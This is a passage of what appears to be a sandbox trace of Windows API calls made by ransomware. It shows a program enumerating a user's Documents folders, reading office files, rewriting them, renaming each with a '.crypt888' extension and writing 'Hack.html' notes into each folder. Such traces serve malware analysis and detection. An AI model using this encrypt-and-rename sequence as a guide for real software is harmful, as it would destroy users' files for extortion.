(dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0082.677] GetFileType (hFile=0x174) returned 0x1 [0082.677] WriteFile (in: hFile=0x174, lpBuffer=0x390e1e0*, nNumberOfBytesToWrite=0x177b0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x390e1e0*, lpNumberOfBytesWritten=0x39ece0*=0x177b0, lpOverlapped=0x0) returned 1 [0082.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", lpFilePart=0x0) returned 0x51 [0082.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx.crypt888", lpFilePart=0x0) returned 0x5a [0082.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0082.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\ry5f63lrxo3kn2d.docx"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbb3b770, ftCreationTime.dwHighDateTime=0x1d465f8, ftLastAccessTime.dwLowDateTime=0xf8a55a40, ftLastAccessTime.dwHighDateTime=0x1d463ba, ftLastWriteTime.dwLowDateTime=0xc27be240, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x177b0)) returned 1 [0082.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0082.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\ry5f63lrxo3kn2d.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\ry5f63lrxo3kn2d.docx.crypt888")) returned 1 [0082.682] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\Hack.html", lpFilePart=0x0) returned 0x46 [0082.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0082.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.685] GetFileType (hFile=0x174) returned 0x1 [0082.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0082.685] GetFileType (hFile=0x174) returned 0x1 [0082.686] WriteFile (in: hFile=0x174, lpBuffer=0x28170a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28170a8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0082.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr", lpFilePart=0x0) returned 0x3b [0082.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\", lpFilePart=0x0) returned 0x3c [0082.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0082.687] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.688] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.688] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0082.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.688] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr", lpFilePart=0x0) returned 0x3b [0082.688] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\", lpFilePart=0x0) returned 0x3c [0082.688] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0082.689] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.689] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0082.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\Hack.html", lpFilePart=0x0) returned 0x45 [0082.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0082.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\oW_Uzr-lyr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ow_uzr-lyr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.690] GetFileType (hFile=0x174) returned 0x1 [0082.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0082.690] GetFileType (hFile=0x174) returned 0x1 [0082.691] WriteFile (in: hFile=0x174, lpBuffer=0x281aef4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x281aef4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0082.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\Hack.html", lpFilePart=0x0) returned 0x3a [0082.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.693] GetFileType (hFile=0x174) returned 0x1 [0082.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.693] GetFileType (hFile=0x174) returned 0x1 [0082.693] WriteFile (in: hFile=0x174, lpBuffer=0x281d6e4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x281d6e4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg", lpFilePart=0x0) returned 0x3c [0082.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\", lpFilePart=0x0) returned 0x3d [0082.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0082.694] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.695] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0082.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg", lpFilePart=0x0) returned 0x3c [0082.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\", lpFilePart=0x0) returned 0x3d [0082.696] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0082.696] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.697] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.697] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.697] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0082.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", lpFilePart=0x0) returned 0x45 [0082.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\6sxh.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.697] GetFileType (hFile=0x174) returned 0x1 [0082.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.697] GetFileType (hFile=0x174) returned 0x1 [0082.697] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xfe95 [0082.698] ReadFile (in: hFile=0x174, lpBuffer=0x2820fd0, nNumberOfBytesToRead=0xfe95, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2820fd0*, lpNumberOfBytesRead=0x39ed24*=0xfe95, lpOverlapped=0x0) returned 1 [0082.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", lpFilePart=0x0) returned 0x45 [0082.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\6sxh.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.714] GetFileType (hFile=0x174) returned 0x1 [0082.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.714] GetFileType (hFile=0x174) returned 0x1 [0082.714] WriteFile (in: hFile=0x174, lpBuffer=0x289d98c*, nNumberOfBytesToWrite=0xfea0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x289d98c*, lpNumberOfBytesWritten=0x39ed14*=0xfea0, lpOverlapped=0x0) returned 1 [0082.716] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt", lpFilePart=0x0) returned 0x45 [0082.716] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt.crypt888", lpFilePart=0x0) returned 0x4e [0082.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\6sxh.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7678e750, ftCreationTime.dwHighDateTime=0x1d45d32, ftLastAccessTime.dwLowDateTime=0xdfb28620, ftLastAccessTime.dwHighDateTime=0x1d46676, ftLastWriteTime.dwLowDateTime=0xc280a500, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xfea0)) returned 1 [0082.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.716] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\6sxh.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\6SXh.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\6sxh.ppt.crypt888")) returned 1 [0082.717] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", lpFilePart=0x0) returned 0x47 [0082.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\kcnd8.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.717] GetFileType (hFile=0x174) returned 0x1 [0082.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.717] GetFileType (hFile=0x174) returned 0x1 [0082.717] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x18b4a [0082.718] ReadFile (in: hFile=0x174, lpBuffer=0x39456f0, nNumberOfBytesToRead=0x18b4a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x39456f0*, lpNumberOfBytesRead=0x39ed24*=0x18b4a, lpOverlapped=0x0) returned 1 [0082.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", lpFilePart=0x0) returned 0x47 [0082.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\kcnd8.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.782] GetFileType (hFile=0x174) returned 0x1 [0082.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.782] GetFileType (hFile=0x174) returned 0x1 [0082.782] WriteFile (in: hFile=0x174, lpBuffer=0x36b3ad0*, nNumberOfBytesToWrite=0x18b50, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36b3ad0*, lpNumberOfBytesWritten=0x39ed14*=0x18b50, lpOverlapped=0x0) returned 1 [0082.785] CloseHandle (hObject=0x174) returned 1 [0082.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx", lpFilePart=0x0) returned 0x47 [0082.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx.crypt888", lpFilePart=0x0) returned 0x50 [0082.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\kcnd8.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4c8340, ftCreationTime.dwHighDateTime=0x1d4604e, ftLastAccessTime.dwLowDateTime=0xc36fbb90, ftLastAccessTime.dwHighDateTime=0x1d4614e, ftLastWriteTime.dwLowDateTime=0xc28c8be0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x18b50)) returned 1 [0082.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.789] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\kcnd8.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\KcND8.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\kcnd8.xlsx.crypt888")) returned 1 [0082.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", lpFilePart=0x0) returned 0x4e [0082.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\nibs2gpmdfps.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.790] GetFileType (hFile=0x174) returned 0x1 [0082.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.790] GetFileType (hFile=0x174) returned 0x1 [0082.790] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x9bc8 [0082.790] ReadFile (in: hFile=0x174, lpBuffer=0x26b07c0, nNumberOfBytesToRead=0x9bc8, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26b07c0*, lpNumberOfBytesRead=0x39ed24*=0x9bc8, lpOverlapped=0x0) returned 1 [0082.791] CloseHandle (hObject=0x174) returned 1 [0082.852] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx", lpFilePart=0x0) returned 0x4e [0082.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZnwQ2z9 ndBz87A7rKEg\\NIBS2GPmDFps.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\znwq2z9 ndbz87a7rkeg\\nibs2gpmdfps.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 